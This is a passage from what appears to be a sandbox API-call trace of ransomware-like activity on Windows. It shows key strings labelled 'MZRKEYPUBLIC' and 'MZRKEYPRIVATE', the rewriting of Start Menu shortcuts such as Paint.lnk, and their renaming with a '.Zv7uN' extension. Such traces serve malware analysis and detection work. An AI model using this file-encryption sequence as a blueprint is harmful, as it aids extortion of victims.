YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0131.645] GetCurrentThreadId () returned 0xa30 [0131.645] GetCurrentThreadId () returned 0xa30 [0131.645] GetCurrentThreadId () returned 0xa30 [0131.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.646] GetCurrentThreadId () returned 0xa30 [0131.646] GetCurrentThreadId () returned 0xa30 [0131.646] GetCurrentThreadId () returned 0xa30 [0131.646] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.646] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.646] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.646] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4da [0131.647] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.647] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4da, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4da, lpOverlapped=0x0) returned 1 [0131.649] CloseHandle (hObject=0x1e8) returned 1 [0131.649] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.651] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4da, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4da, lpOverlapped=0x0) returned 1 [0131.654] CloseHandle (hObject=0x1e8) returned 1 [0131.654] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk.zv7un")) returned 1 [0131.656] GetCurrentThreadId () returned 0xa30 [0131.656] GetCurrentThreadId () returned 0xa30 [0131.656] GetCurrentThreadId () returned 0xa30 [0131.656] GetCurrentThreadId () returned 0xa30 [0131.656] GetCurrentThreadId () returned 0xa30 [0131.656] GetCurrentThreadId () returned 0xa30 [0131.656] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173a8e5b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x173a8e5b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x174413dc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Remote Desktop Connection.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0131.656] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.656] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.656] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173a8e5b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x173a8e5b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x174413dc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x557)) returned 1 [0131.657] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk")) returned 0x20 [0131.657] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk", dwFileAttributes=0x80) returned 1 [0131.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.661] GetCurrentThreadId () returned 0xa30 [0131.661] GetCurrentThreadId () returned 0xa30 [0131.661] GetCurrentThreadId () returned 0xa30 [0131.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.662] GetCurrentThreadId () returned 0xa30 [0131.662] GetCurrentThreadId () returned 0xa30 [0131.662] GetCurrentThreadId () returned 0xa30 [0131.662] CreateFileW 